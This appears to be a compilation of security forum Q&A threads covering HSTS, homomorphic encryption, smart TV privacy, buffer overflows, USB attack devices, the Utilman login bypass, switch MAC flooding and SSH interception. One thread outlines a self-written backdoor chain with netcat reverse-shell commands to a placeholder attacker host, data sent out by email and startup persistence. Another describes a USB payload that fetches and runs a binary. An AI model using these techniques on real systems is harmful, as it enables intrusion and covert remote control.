it is not correct statement. Timestamped signature remains valid even when all certificates in chains (both, signing and timestamping) are expired. This is what timestamping does -- keeps signature valid after certificate expiration. Timestamp in signature proves the signing time and it must be within all certificates validity periods.

Moreover, timestamped signature is still valid when signing certificate was revoked after signing time. Signature validation code can determine whether the signing certificate was valid (not revoked) at timestamping date and time.

You can read my blog post on the subject in more details: Digital signatures and timestamps


How to prevent attacks before HSTS is established for the first time? What is the best way to accomplish this and prevent attacks like SSL Strip?

Train users to either always type https:// for your site, follow links from a site like google (that has hard-coded HSTS), or use a bookmark.  (Do this training in addition to other sensible training policies: do not do security sensitive things on unsecured/public wifi or public computers, use strong passwords that aren't reused, etc..  Then try getting browser makers to hardcode your site into their preloaded HSTS only lists.

Really not much else you can do.

EDIT: I'm not 100% sure about the specifics of SSL-Strip, but according to some turning off port 80 (besides simply redirecting to https) will work to stop SSL Strip attacks. So it may be sensible, though you should acknowledge it is possible to go beyond SSLStrip to do a MitM attack against a site that serves HTTPS only, if you can trick the user into going to an HTTP site that points to a computer you control (e.g., after ARP spoofing) before they first connect.  So turning off HTTP (port 80) or having only port 80 only send redirects to HTTPS (port 443) seems to be a sensible defensive move, you should be aware it does not prevent SSL striping attacks in general.


What's the State of the Art of Homomorphic Encryption? I get the impression from some internet resources I have skimmed that homomorphic encryption is yet computationally very inefficient. However, an Infineon press release from 2010
says that the CPUs of chip cards can do computations in encrypted form. Are there then no more practical hinderances to homomorphic encryptions today, since common CPUs are certainly more powerful than those on chip cards?

There are two types of homomorphic encryption.

Partially homomorphic encryption is about computing one type of operation over encrypted values. For instance, you know E(m1) and E(m2), and, without knowing the private key, you can compute E(m1*m2). Several efficient algorithms which allow for that are known, especially ElGamal (which allows you to multiply encrypted messages) and the Paillier cryptosystem (which allows you to add encrypted messages). Partially homomorphic encryption is useful for some protocols, e.g. electronic voting (the idea is that you can tally together encrypted votes, and decrypt the result at the end). Partially homomorphic encryption works well and has done so for at least a decade.

Fully homomorphic encryption is about computing two types of operations over encrypted values: from E(m1) and E(m2), you can compute E(m1*m2) and E(m1+m2). Fully homomorphic encryption allows for arbitrary computations; ultimately, you could provide encrypted inputs to a biiig computer, which will run the computation and provide the encrypted result, without needing to trust that big computer. The idea is that the state of a transistor in a virtual circuit can be encrypted, and the additions/multiplications are sufficient to emulate state changes based on inputs to the transistor. The big computer would have to run a virtual CPU, with a few homomorphic operations for each transistor in the virtual CPU and for each clock cycle. Needless to say, this looks expensive.

Unfortunately, the best known fully homomorphic encryption algorithms (derived from Gentry's work in 2009) are awfully slow and inefficient, making it not worth the effort (i.e. the whole Amazon S3 cloud could not compute homomorphically faster than what a single smartcard could do without the encryption). The research area is not dead, far from it; but it is very new and has not yet produced anything practical.


How to stop Smart TV being Telescreen? I am looking to buy a new TV, but all of them these days are Smart TVs with creepy Orwellian features.  Namely the microphone and webcam, which pretty much makes a Telescreen, as manufacturers admit they collect data remotely.

I'd like to know if some things I've heard are true, and what are the best practices for allowing the Smart TV internet access securely?

The standard advice I've come across is to put a sticker over the webcam and not let the TV on the internet.  I've also heard that allowing the TV to connect to the internet through a middle man, like a games console or Chomecast, is better. Is this any more secure?

Are there any security apps one can download to help protect the TV?  Is there a hacky way to fudge the system?  Like corrupting the microphone/webcam drivers, or an app which always runs using those devices and thus blocks all other users out?  I'm looking at a Sony Bravia TV, which uses Android.  And I'm aware that is far from secure generally.

There's also the question about the microphone.  If the TV connects to the internet, the webcam can have a sticker over to stop Big Brother watching, but is there a way to disable the microphone short of opening up the TV... which is probably a bad idea.  I assume that simply switching off these features in the OS isn't secure since it could conceivably be switched on again by a hack?

It is difficult to provide a single complete answer because there are too many variables and what may work for one model/brand may not work for another. The term 'Smart TV' is also poorly defined and not all of them 'call home' - many don't even have a built in webcam or microphone.

The first question you need to ask is "What do you want/expect" from your Smart TV? This will help determine what features you need and that will help determine what options you have available. The other question you need to ask is what is the threat you are concerned about? Are you concerned about the neighbours or passes by who may overhear your conversation through that open window? What is your real concern should it be true that the vendor is recording your conversations through the microphone on the TV? Likewise with the camera.

This isn't to say you may not have real things to be concerned about, but it probably needs to be a little more than just an abstract concern. Some people, such as celebrities, politicians, secret agents and crime bosses probably have more real concern than most of us. Knowing what the individual risk is determines what level of protection/concern you need to have.

It is also important to consider the other side of the coin. Consider the perspective from the vendor. Lets say you produce a smart TV and it collects lots of data, such as recording the sound and vision in the room. Now consider they have sold 2 million of those TVs, so have data coming in from 2 million users. That is a hell of a lot of data. However, having data and being able to make use of it are two vary different things. That is a lot of processing.  How you use/process the data is also worth considering. Processing a lot of audio streams to improve algorithms used in natural language processing and voice recognition is one thing, processing the streams to extract real meaning and then using that information effectively is another. All of this also comes at a high financial cost, so there has to be some real financial benefit.

All of this isn't to say there are not real concerns. As the NSA has demonstrated, processing and extracting meaningful data from large data sets is vary possible and there are some real concerns regarding what some of these vendors are doing and how they are using or even securing the data they collect. However, to what extent this is a real threat to an average individual right now is uncertain, but likely low.

We also need to balance all of this with the real potential for benefit from this data collection. Most of us would really like devices which have reliable and accurate speech recognition or smart devices which are able to work out what we want to watch, what products we are really interested in etc. What most people hate about advertising is that most of it is junk we are not interested in. If all the ads you were shown were for things you are interested in, you wouldn't mind as much. To achieve this sort of benefit, the manufacturers need data to drive the research. If we want devices which improve, we need to let the manufacturers have more data about how we use the device, where the device fails, has errors, crashes etc and we want the manufacturers to send us updates and improvements.

So, what do we do?

Select a device from the manufacturer which has the best terms and conditions. Look for one that actually has privacy statements, tells you what data they will collect, how long they will keep it, what they will use it for and how they will store it. Yes, we are trusting they are being honest, but why should we assume they won't be? What is the benefit in them being dishonest? If they have a privacy statement and reasonable terms and conditions, at least we know they have thought about it. Most of the problems with IoT devices is that the vendor simply has not considered these issues.
Depending on your setup, you will normally configure your router/modem to have a firewall which blocks all incoming connections. These are connections which are initiated from outside your network and try to connect into devices within your network. Most of the services you are likely to want have connections initiated from inside your network going out. Exceptions are things like an audio chat service which allows your friends to contact you. Connecting to things like TV streaming services are typically initiated by you and don't need to be initiated from external sources.
Look for a device which has the option to enable or disable data collection. These days, many software and operating systems have this sort of feature. You can decide to opt in or opt out. Go for a vendor who lets you make this decision.
If you are still uncomfortable, just don't connect the device to the network. I've looked at a number of 'Smart TVs' and in fact have 3 of them. However, none of them are connected to the network. This isn't because Im paranoid. The main reason is that so far, I've found the quality, reliability and usability of all of these smart tv apps to be far inferior to the equivalent functionality provided by my PVR, xbox, ps4 or chromecast. Right now, smart tvs seem to be more hype than benefit. This will change, but I can't see the quality reaching the same level as other devices for a couple of generations yet and lets face it, you tend to replace your TV less frequently than other devices, such as laptops or tablets.

We all need to be more concerned about data collection and privacy. However, we also need to be wary of becoming too paranoid. What we really want is informed consent and some guarantees about how the data will be sued, stored and eventually destroyed. The only way to get this is through our choices. Be willing to pay more for better, secure and informed choice. Be prepared to not purchase the device if we are not happy about the company's practices or the way it may use our data. Be willing to forgo convenience to ensure we have privacy and control.


How does this simple buffer overflow work? I've got this simple code

vuln.c

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
    char buffer[500];
    strcpy(buffer, argv[1]);
    printf("%s", buffer);
    return 0;
}

I am trying to perform a buffer overflow and

Fill the buffer with a malicious code
Modify the return address to redirect to the malicious code

Ideally, I believe that when I overwrite my 500 buffer, next I will be overwriting the base pointer, followed by the return address.

Here's how I tried to overflow the buffer

gcc vuln.c
./a.out $(python -c 'print "\x41" * 501')

Since I am putting 501 "A"s into the buffer, it should overflow theoretically, right? But this is not happening. I don't get a segmentation fault, instead, I get the output of "AAAA.." and the program exits normally. (I didn't count the number of As..).

So I fired up GDB and start playing with the number of As until I do get a segmentation fault. And I find that I get a segmentation fault when I put 520 "A"s! How?

With 520 A's, GDB's info registers gives me

And with 521 A's, running the same GDB command, I get

As you can see, in image 1, the base point is filled with \x41 (hex for A) and in image 2, the BP is filled with \x41s and the IP begins to be filled as well.

I don't understand this. So my question is - why 520? And why did it not overflow on 501?

That's due to an alignment to 16 bytes, which compilers do on x86(_64) for compatibility with SIMD instructions that operate on 128 bits (16 bytes). Due to that there is some "padding" between the buffer and the saved registers, 12 bytes in your case.

Technically, you already overflow the buffer if you pass 500 A characters to the program because the string is null-terminated. But that zero byte only overwrites the first of the padding bytes. Between these padding bytes and the saved rip there is also the saved rbp (8 bytes). So the layout is basically like this (if canaries are in use - -fstack-protector - then the canary value is placed between the padding and saved registers):

buffer [500 bytes] | padding [12 bytes] | saved rbp [8 bytes] | saved rip [8 bytes]

So with 520 A characters you overwrite first the padding and the saved rbp before the first byte of the saved rip is overwritten with a zero byte.


What Ubuntu packages are still affected by gnutls bug CVE-2014-0092? Right now the internet is abuzz with news about a severe  breach in GnuTLS.

An update to the relevant GnuTLS packages has already been released. But I am worried whether some packages might have had GnuTLS compiled directly into them, instead of dynamically linking to them.

Would like to know the likelihood of this- If any of you are aware of any such packages, please share them.

According to Canonical's CVE tracker gnutls26 package is totally patched, while gnutls28 on Precise (12.04) and Saucy (13.10) are still affected, and others versions are not affected. There aren't any bugs related to fix these versions in Launchpad either, so, unless your are using 12.04 or 13.10 is safe to say that you are not affected by this bug.


Protecting user data via encryption I am working on a fitness app, and it is going to have the following user data: email, first name, last name, birth date, height, weight over time, Body Mass Index over time and heart rate over time. This data is very personal and private to some people.

I was thinking of using AES to encrypt their email address, first name and last name so that if this data ever got compromised they cannot be identified. I would keep the key on the app server, and the database on a separate server.

This is however painful to do, as I use their email address for identification, so I need to store a hashed email, a crypted email, a crypted first name and a crypted last name. Furthermore this interferes with logging solutions as you need to ensure sensitive values are not logged. Finally, I would like to use the MySQL AES functions, but then I would have to pass the key over the wire into a stored procedure, and this just seems like an incredibly bad idea, so it would have to be done in app I imagine.

What is the recommended strategy here given this particular context? Is this over kill?

I don't think that the assumption that somebody can never be identified if email address, first name and last name is safe.

If the user also uploads their weight data to another service the weight data of a few months should be enough to identify them uniquely.

I don't think it makes sense to develop your own ideas about what data safety is supposed to mean. If you want to treat heart rate data seriously, than you should treat them as medical data. That means you follow the HIPAA standards.

Given the list of data you provide, you should ask yourself whether you really need to know your users first name and their last name. If you don't know them you can't leak them.


Should I disable SSL compression because of CRIME? I've read CRIME - How to beat the BEAST successor? and a few articles on the subject (linked below) and found no recommendations for system administrators.

As a web host, should I disable SSL compression because of CRIME?

ThreatPost: New Attack Uses SSL/TLS Information Leak to Hijack HTTPS Sessions

ArsTechnica: Crack in Internet's foundation of trust allows HTTPS session hijacking

Yes, you probably should disable TLS compression on the web server, if you use SSL on a highly security-sensitive site.

For most of your user base, this is not strictly necessary.  Turning off TLS compression in the web server is useful only to protect the small fraction of users who are running older, vulnerable browsers. The only browsers that ever supported TLS compression were Firefox and Chrome. IE, Safari, Opera have never supported it. Firefox and Chrome have disabled TLS compression in their latest versions. Both of them use automatic updates so majority of users will upgrade to patched versions very soon.  Therefore, most users will already be protected, even if you do nothing.

However, there may be some users still using older browser versions that support TLS compression, and thus are vulnerable.  For instance, Ivan Ristić estimates that (as of September 2012) about 7% of visitors to his web site are using an older browser that supports TLS compression and is vulnerable to CRIME.  I expect this number may decrease over time.  Nonetheless, there is probably some benefit to turning off TLS compression in your server: it helps protect those users against the CRIME attack.

My thanks to Andrey Botalov for the reference to Ivan Ristić's estimates about the prevalence of vulnerable browsers.

For details on how to disable SSL compression on your web server, see this blog post from iSEC Partners.


How should I tell school that they are vulnerable when I wasn't given permission to check? I would like to report security weaknesses to my school in UK. I had managed to find security weaknesses without any exploits or other software or hardware.

I had look at similar question however problem is that it is very likely to find out that it was me, even if I would use an anonymous email, like suggested in this question, as IT department know that I have lot of knowledge on computer programming, network, security, and it is (possibly) higher than anyone else's so I assume that I would be called straight away. Teachers also have knowledge that I found other security weakness which did not impacted school policy at all therefor I had no problem with this one. Also security weaknesses require physical access, so I couldn't lie that it was done remotely

Another mentioned answer in already mentioned question, said to just ignore it, however I had found out that one of their computers had been hacked by someone else, and to tell how I found this out I would have to mention security weaknesses, or suggest that I was trying to hack them.

If there is a teacher or counselor you can trust completely, that you know will keep your name secret even if the school administration starts making threats about firing people, I'd go to them first and talk to them in private. They don't need to understand computers or security (and you don't need to go into detail about the issue), they just need to be trustworthy and good at navigating the administration politics in the school: you need advice about the personalities of the people involved and how dangerous it would be for you to report the issue. If they're at all wary of reporting, then you should keep quiet.

If someone with enough power gets embarrassed, they might start looking for someone to fire or expel (or, in the worst case, to have arrested), to give the illusion that they are in control of the situation. If you're friendly with and trusted by the administration and IT department, and you know they've supported students in the past even when it made them look bad, it may be less risky to share the issue, but I'd still recommend going through a trusted intermediary.

If you can't talk to someone you trust to keep your name anonymous and you can't report the issue anonymously (and it sounds like you can't), it is probably best for you to keep quiet. And that means completely quiet: don't talk about what you found on forums, don't tell your friends what you found, and don't try it out again in a few weeks "to see if it's been fixed:" you don't want to show up in any logs as having anything to do with this, especially if it gets exploited by someone else. It sucks, but start by protecting yourself.


How can USB sticks be dangerous? We all know the story of the USB drive left outside a power plant which was found by a worker and inserted into a computer to see the contents which then allowed a hack to ensue.

Here is my question, how? I get that code is executed but how? I would really like to be able to do this (for my own curiosity of course). I have always had a good grasp on security how to make things secure etc etc but things like viruses, trojans, USB drivers... how are they activated with little human interaction?

I would really like to learn about these things, I am a programmer/sys admin so would like to knock up a script but having never been taught or never have done it I don't know how or where to begin. I would really like a big discussion on this with as much information as possible.

Take a look at this USB keyboard:

"But that's not a keyboard! That's an USB drive, silly!"

Actually, no.  It looks like a USB drive to you, but when it gets connected to a computer, it will report that it is a USB keyboard.  And the moment it is installed, it will start typing key sequences you programmed on it beforehand.  Any operating system I know automatically trusts USB keyboards and installs them as trusted input devices without requiring any user interaction the moment they are connected.

There are various payloads available for it. For example, there is one which types the keyboard input to open a shell, launches WGET to download a binary from the Internet, and runs it.


Bypassing Windows 10 password with Utilman.exe trick - fixed? Recently I run into a locked down laptop with Windows 10 OS (actually I guess it was updated from Windows 7 if that matters). My collegue was using this computer some time ago and lost his login and password, so now we can't log into this computer.

Of course we are able to boot it from external drive and copy all the necesary data, so that's not a problem.

I remembered myself about old popular trick with switching cmd.exe with Utilman.exe (or osk.exe or sethc.exe) to run cmd and change user password. But when I tried to do this (I run the cmd from system repair utilities) I actually couldn't find those files to switch them with cmd.exe. There was no utilman.exe, no osk.exe, no sethc.exe in Windows/system32/ nor other catalogs.

I also tried this tutorial with manipulating registry with no effects.

So I'm wondering if this Windows vulnerabilities were fixed? Or maybe these tools that show up on login screen are hidden or loaded in a different way now?

So I'm wondering if this Windows vulnerabilities were fixed?

It's good to know that this is not a vulnerability, even though it ostensibly is. Microsoft TechNet publishes the "Ten Immutable Laws of Security" and in this case, laws two and three apply, which state respectively:

Law #2: If a bad guy can alter the operating system on your computer, it's not your computer anymore.
Law #3: If a bad guy has unrestricted physical access to your computer, it's not your computer anymore.

Law #3 applies to gaining access to the command prompt, and Law #2 applies after you've done #3 (replacing sethc.exe with cmd.exe).

As for whether sethc.exe, utilman.exe, osk.exe, ..., and the Image File Execution Options trick can be used in Windows 10, I can access all four of these options in both builds 17063.1000 (Insider Preview) and 16299.125 (Creator's Update). While I am not 100% sure of the other versions, I believe there is no difference in the first version of Windows 10.
It is possible that you accessed the wrong drive. Often times when booting into the installation environment, the hard disks are assigned a different letter (I've normally gotten D:).


attacked by a virus on my system. keyboard not working properly 3 days back i was attacked by a virus and my system is behaving badly. i have all the latest antivirus but even after virus were quarantined some of the problems i am facing are.

on startup the system loops and doesn't let me login with username and password.
caps lock, ctrl, num lock, numbers 8,9,4 and some keys like v, f are not working,also @ is not working.
the browser is now showing a green border on its circumference.

backspace not working. i have to take support of virtual keyboard.

kindly suggest something. i have already brought a new laptop 4 years ago and this has happened again.

I would take those steps:

1)Login on safe-mode.

2)Scan computer with "Malwarebytes".

3)Try Scan with other Anti-viruses.

If neither of that won't work try backing-up your drives and format your computer...


RDP Audit Failures Brute Force Attacks I need some help on tracking the source of these RDP access attempts on our terminal server.

Port 3389 is open on the firewall (I know this is a terrible practice. I don't want to hear advice on using a VPN for LAN access). I checked through the security audits and can see that we are getting hit just about every second with a dictionary attack. I have checked the RemoteDesktopServices-RdpCoreTS operational events for IP addresses. No IP address has had repeated entries, except for about 1 or 2.. so I believe they are spoofing the IP.

Our firewall also shows no active 3389 port connections during the attacks.

Is it possible that there is an infection on a local computer causing this? It's very confusing, but I'm still in school so am not fully equipped with knowledge.

It is not likely a spoof (the attacker would not know if they were successful) but more likely a botnet cycling through its nodes to attack you. That's why it's a range of IPs. They cycle like this so that no one IP triggers a block.

Then is it also not likely that it is a local computer.

This behaviour is neither extraordinary nor unexpected. Just business as usual on the Internet. That's why exposing services like this is not recommended unless you have mitigations in place like only allowing certain IPs to connect to port 3389.


How to secure a smartphone left for repair? I need to leave my phone at a repair shop. The reparation is not trivial, so I can't expect them to do it under my eyes while I wait.

But my phone is all my life. Like for most of us (I guess), I have personnal information, pictures, conversations that I would not like being seen by a stranger. Considering they don't need to unlock it to repair it, how can I make sure they don't access sensitive data, without wiping clear my device (which would be a pain to restore)?

The only things I thought about:

removing SD card
setting a (strong) PIN code
encrypt the internal memory

My phone is a Samsung A5 2017. I'm not even sure I can fully encrypt the internal memory - a quick search seems to indicate that I can't -, so I'm quite at a loss.

Back it up and do a factory reset.

You should have a trustworthy backup in case your phone is lost anyway. Consider this as the same scenario as a loss, only cheaper and safer.

Your only other option is to accept the risk of the repair provider looking at your data.


Does IPSec authenticate identity? I know that SSL/TLS authenticates the identity of a server (and/or client) by presenting a certificate which the client sends to a CA to check the validity. This happens before the SSL/TLS connection is made, so the client knows if it is actually communicating with the entity it meant to contact.

From what I understand, IPSec uses the Authentication Header to ensure the messages are coming from the same source with which the IPSec 'connection' was initiated. (I know it is not actually a connection, but I'm not sure how else to call it). This tells the client it is communicating with the same source, but it does not actually identify the source, does it?

Does IPSec have a way to authenticate the identity of a server before establishing the IPSec 'connection'?

IPsec uses IKE (Internet Key Exchange) to establish a security association, which includes identifying the other party.

IKE is commonly done using x.509 certs (The same type of certs you already use for everything else). These certs allow each party to rely on the authority of the issuing CA to identify the other party (They must both trust that CA).

IKE can also be done through other means, like a pre-shared key. This allows no intrinsic way to verify the identity of the other party.


Lost my PGP private key when hard drive wiped. Possible to recover? I recently made a big mistake of wiping my C drive that held my pgp key ring. Currently the key ring is the only way I can get access to an account with $300 of bitcoin. I've downloaded some recovery tools and went through the files but to be honest I'm not sure what to look for. What files should I be looking to recover and where would they have been before being deleted ?

All help is greatly appreciated as I'm hoping I don't lose access to this account.

OS: Windows 10
Package: Gpg4win 2.3.3
Key generated with GPA

Since you are able to go through the files it sounds like you didn't low level wipe your drive and just need help identifing the secret key files among those your tools recovered. Your keyring will probably be in a directory called gnupg   wherever your windows install stored personal application data and take the form either of a file called secring.gpg or a directory called private-keys-v1.d containing .key files.

Once you have that you should be able to import it into a fresh install.


Firejail Blacklist/Whitelist Priorities I have defined the following:

whitelist /home/user/.mozilla/firefox/
noblacklist /home/user/.mozilla/firefox/
blacklist /home

However I get:
ls: cannot access '/home/user/.mozilla/firefox': Permission denied

If I try

blacklist /home
whitelist /home/user/.mozilla/firefox/

I get the same message: permission denied.

A similar issue occurs with the /etc folder.
The entire /etc folder is accessible under the jail.
And yes I am aware of the '--private-etc' option, but this is not what I am testing right now ...

If I try to whitelist just one folder, I get:

Error: invalid whitelist path /etc/subfolder
Error: cannot establish communication with the parent, exiting...

I can succesfully blacklist for example /etc/subfolder.
If I try ls -lA /etc/subfolder, I get:

ls: cannot open directory '/etc/bind': Permission denied

However, when I try "ls -lA /etc/", /etc/bind is still listed in the output.
Also, I don't seem to be able to blacklist the entire /etc folder and then whitelist some subfolders within /etc.

With firejail, how can I restrict access to a folder but allow access to selected subforders, i.e :

restrict access to /home except the ~/.mozilla/firefox subfolder?
restrict access to /etc except the /etc/abc subfolder?

By "restrict access", I mean all non-whitelisted folders and files being made "invisible" within the jail.

It is not a permission problem.
It seems that firejail handles blacklists automatically as soon as a single whitelist statement is issued.

For example:
If I don't issue any blacklist/whitelist, then all the /home/user folder is accessible in the jail.
If I whitelist /home/user/subfolder, then all subfolders in /home/user except ~/.bashrc, ~/.config, ~/subfolder and .Xauthority are automatically blacklisted.
This behavior was certainly not obvious from the man page.

In addition:
If I whitelist /home/abc, then /home/abc is still not accessible in the jail.
Only If I mount bind /home/abc within /home/user, it becomes accessible under the jail.
So any /home folder outside /home/user seems inaccessible even when whitelisted.
Again it is not very clear why firejail doesn't allow overriding the default blacklists.


How to hack a switch connected network with static ARP? For example, if there is a network with three computers connected to the same switch, Alice, Bob, and Eve. If Alice and Bob add each other on their own ARP list as a static ARP entry, and Eve wants to do attack on the network connection between Alice and Bob, how could he do?

By the way, I am wondering if sniffing is still available on the network. If both configure the static ARP, then ARP spoofing can not be achieved. In this circumstance, will tcpdump or wireshark still be usable to sniff the network?

The attacker can try to flood the MAC table of the switch, and then the switch could fall down in "hub" mode. Then the switch would send the packets of Alice and Bob on all port. So Eve could sniff their network packets.

Another way to hack is to poison the switch MAC table. If Eve knows the MAC address of Alice and Bob, Eve could tell the switch that he has the MAC address of ALICE and/or BOB, then some of packets or all the packets will be redirected to Eve.


Is email between 2 parties secure if both mailboxes are on the same server and both clients use SSL? Sorry if this is incredibly basic, but I'm not very familiar with how SMTP works.

I have a mail server (running Postfix with Dovecot) with an SSL cert from a well-known/accepted CA installed and configured properly.  There are 2 clients who connect to this server from different locations - each configured to use SMTP + TLS when connecting to the server to send, and POP3 + SSL when connecting to receive.  Is it reasonable to consider communications to be secure (at least as secure as SSL can be) between those 2 email clients?

Clearly if the server or either client was compromised, their communications would also be compromised.  What potential security holes could there be?

Generally yes. Assuming that 'configured properly' applies of course (I'm not going to get into the subtleties of configuring a server securely).

Also, you rightly focused the question to those 2 parties, and correctly noted the fact that other aspects might cause security issues / information leakage (e.g. if the client or server are somehow exposed or compromised). If the message was sent by one of the parties to an external email address on a different server, then the same level of protection is not likely to apply. (This concern might also apply if one or both parties set a forwarder or auto-reply)

However, one major point that is missing from your question, is how the email later gets delivered to the recipients. SMTP handles sending emails. A different protocol is usually used for picking up email from the mailbox. Typically POP3 or IMAP4, but there are other possibilities of course (webmail, Unix mailboxes etc). Is this part of the communication also configured properly and secured in the same way?

In addition, confidentiality of the communication may not be the only concern. In some cases, the parties want to validate the origin of the message, and that the contents hasn't been tampered with. SSL/TLS on the SMTP channel aids in protecting against it, but it might not be sufficient in certain situations. Are those two parties trustworthy? do they trust each other?? I guess there are many hypothetical questions and directions to look at this, but on the pure technical side, of whether the communication layer between both clients and the server are protected from eavesdropping, I think you've made a fair assessment.


How far beyond using Shred should I go when deleting files? Possible Duplicate:
  How can I reliably erase all information on a hard drive?

I'm looking to securely erase my files. Is shred the best option besides ditching the hardware? To what lengths should I reasonably expect to go to ensure my files are not recoverable?

If you fear for the confidentiality of data, you should have used encryption, preferably full-disk encryption (TrueCrypt has good repute). With encryption, you do not have to worry about the disk itself, only the key; destroying the key is as good as destroying the data. This makes the problem more manageable.

Assuming that you did not use encryption, and that you have a disk where a lot of very sensitive data has been written, and you want to destroy it beyond any recovery. Then you should destroy the disk itself. Don't shred the files, shred the hardware. You could employ other methods (melt the disk in a furnace, dissolve it in acid, wipe it with an EMP from a nuclear blast...) but the mechanical shredded is probably the safest to use in a home or small business ("safest" but not "safe": beware of trapping your hands in it !).

If the price of a new new disk makes you cringe and grit your teeth, then maybe the data is not really worth a lot ? Otherwise, there is no possible hesitation.


Have I created some kind of malware? I am quite new to this type of stuff and I'm experimenting a little bit.
This weekend I had some spare time and decided to joke around with VBScript and powershell. What I did is I wrote a VBScript which can be run as normal user or as administrator and does the following when run:

Creates a .bat script and inserts the code manually in the script line by line and then executes it. The .bat contains:

A takeown command for system32, sysWOW64 (if run as administrator of course)
An icacls command that makes the above folders modifiable by anyone
Runs the previously created powershell script
Adds a .vbs in the local machine registry to run at startup as system

Creates a powershell script and inserts the code manually in the script line by line. The .ps1 contains:

First it downloads netcat
Then proceeds to unzip the downloaded file
Then grabs the systems username and public ip
Sends the data via smtp to a specified email
Finally it executes netcat.exe with arguments: "netcat.exe -e cmd {listening servers public ip} {port}"

Creates another .vbs  and inserts the code line by line manually (which will run on startup as stated in the .bat). The .vbs contains:

A do while loop that every 5 minutes it runs a .bat file that contains "netcat.exe -e cmd {listening servers public ip} {port}" as a command (so I can have a persistent backdoor)

A .bat file that contains only one command:

"netcat.exe -e cmd {listening servers public ip} {port}"

Run the .bat in the background hidden from the user

On the "attacker" side i have netcat opened listening on the specified port. I was able to get an elevated cmd without any triggering of AV (Tested with Avira, ESET).

This works on Windows 7, 8, 10 x64 and i made it support both powershell v. <3 and v. >3.

What I achieved is an elevated cmd with persistence without triggering AV detection and it seemed very easy to achieve.

Should this have been detected as a potential threat by the antivirus software and remove it from the system? I am able to accomplish remote code execution and gain full access to the target system

This project was executed in a local environment which I own. I have no intentions of anything else

I think your issue is about the concept behind malware. A malware is a software that does more than you expect it to do. Or a software that does what you don't want it to do.

If I make a piece of software that deletes everything on my computer, it's not a malware, it's legit, I want that to happen.

If I give it to a friend and tell him : Hey check out this funny little game, he'll come to me (punch me in the face) and ask : why did you send me a malware ?!

So it all depends on the context. You made a piece of software that does legit stuff. What you are trying to achieve will make it or not a malware.

As for your Edit :
I'm not an expert about AV but from what i know, they look for patterns. Writing you own malware/virus with only legit code would make it almost indetectable, because you are not using any pattern the AV knows. The point here is you don't use any breach, there is no security exploits. You are not excessing your rights, nor exiting any application scope. You've just created a tool to connect to another computer and to execute command.

i would take the exemple of the recent Meltdown and Spectre exploit. They are very dangerous not because at this time, no AV knows how to detect it, but because Av would likely never know how to detect it, because it is 100% legit code. Because it is 100% legit, there is infinit ways to write an exploit. And so, no patterns would come up.


Can an ssh key login to a secure remote server be compromised when on a network run by a bad actor I am in a cafe. Supposing I ssh into a secure remote server using a key pair, and supposing the cafe wifi is run by a bad actor who is intercepting traffic, can my login be compromised?

I am not talking so much about government-level monitoring - I am talking more about a typical cafe wifi running a compromised router that may be intercepting and recording traffic for analysis by common criminals.

SSH has being proposed to be secure and almost impossible to decrypt (at least for a user-level as the cafe case you're proposing). So most answers would say "no, your login cannot be compromised".

But, recently, as many hackers have been used the SSH tunnels for bad purposes due to its security (as security devices and software may not be able to inspect and/or distinguish malicious or not-malicious ssh traffic); some firms have been developing new products that are able to decrypt and inspect SSH traffic. If, as a theoretical example, a bad actor is running that wifi, using a firewall that lets decrypt and inspect SSH connections, it can be used for a MitM attack (Man-in-the-Middle). Obviously (as @kaidentity remarked and i forgot to tell, thanks) this only would work if the client did not check the server's public key fingerprint.

Readable example: http://blog.checkpoint.com/2015/08/12/ssh-decryption-opens-door-to-very-old-security-vectors/

and: http://code.danyork.com/2015/07/31/firewalls-now-looking-at-intercepting-ssh-traffic-via-a-mitm-attack/


Which of these DBMS offers the lowest security for SQLI? Which of these DBMS offers lowest security for SQLI? Oracle, MYSQL, SQL Server, ProstgreSQL or DB2? Why?

Could you explain to me, why some are more vunerable to SQLI?

All of these database platforms give developers the ability to execute parameterized queries, which is the industry standard for preventing SQL Injection.

Based on this - I would say none are more vulnerable than the others.


Does Strict-Transport Security Header (HSTS) need to be applied to non 200 response pages (e.g. 403, 302) I have an application that is protected by Cloudflare. The application responds with a HSTS on all of the other pages except HTTP status 403 Forbidden and 302 Moved Temporarily. It seems to be Cloudflare is responsible for it. There are also some resources (JS) that does not have the HSTS applied, but that is off-topic for this question.

My intuition says that all pages (and resources) needs to have HSTS because, while unlikely, someone mistyped the url and induced a forbidden it would be vulnerable to attacks like sslstrip.

While it's not good, and it should be fixed, it's likely not as bad as you think. HSTS applies to domains, so as soon as one response includes the Strict-Transport-Security header the browser will force all requests to redirect to HTTPS for the entire domain (and possibly subdomains, depending on configuration).

Resources like JavaScript and CSS are rarely if ever accessed directly by end-users, so the HSTS header should be received before these resources are requested anyway.

If there is a MitM and the user hasn't visited the site before (or the max-age of the HSTS header has passed) and the site isn't in the preload list, it won't matter that some responses include it and some don't; the MitM can use ssl-strip either way. HSTS only works after the browser has seen it, if you're visiting a site for the first time over HTTP you're vulnerable unless it's in the preload list.


Password Vault - Enterprise I want to be clear from the get-go that I am NOT looking for a user password management solution. My organization already uses AD for that.

What I am looking for is a password vault. Up until now, passwords which are used for certain applications have been stored on paper in a safe. The decision has been made to place them in a secure, encrypted electronic application/vault. I would like it if either the passwords could be stored and accessed on a network drive or if the app could be installed on a server and accessed via a web interface. I'd also like the ability to have 2 or 3 administrator accounts which could provide read-only access to others if needed. Neither of these is hard and fast, though. I'm at the end of my rope and just want something, anything that will do the trick. And yes, I realize I'm asking for a lot.

The environment is Windows.

I have done a lot of research on my own and it seems that this kind of software falls into one of two camps. First, it's a small, free (or close to it), portable, open-source style solution like KeePass that, while probably fairly secure, offers no guarantees and isn't certified in any way. Second, it's a massive, organization-wide, AD-replacement style solution which is FIPS-140 certified and contains a password vault within it and is expensive and complete overkill for my needs.

I can't seem to find something middle-of-the-road, which is what I'd like. All I want is the password vault portion of these massive solutions and I'd be happy. One lead that I thought was promising was Cyber-Ark's Enterprise Password Vault, but the company has no pricing information on their website and nothing which states I can buy only the EPV and not the entire suite it's listed in. I also can't seem to get a hold of anyone on from the company who can answer those questions.

Any suggestions?

PS. I realise there are some gaps here in terms of complete lack of background information provided, but please, no lectures or admonitions of what I should be doing in terms of practice and policy to avoid the need for the software I'm asking for. I'm aware, believe me.

My company uses Thycotic's Secret Server.  It is commercial, but it is also scalable, and the total cost depends on the number of users (active) and the feature set you need/want.

It is web accessible only (IIS/ASP.Net), and has a hosted version as well as installed versions.

Security wise, it is good enough for government agencies (US) and their booth at VMWare last year listed divisions of the Department of The Navy as current clients.


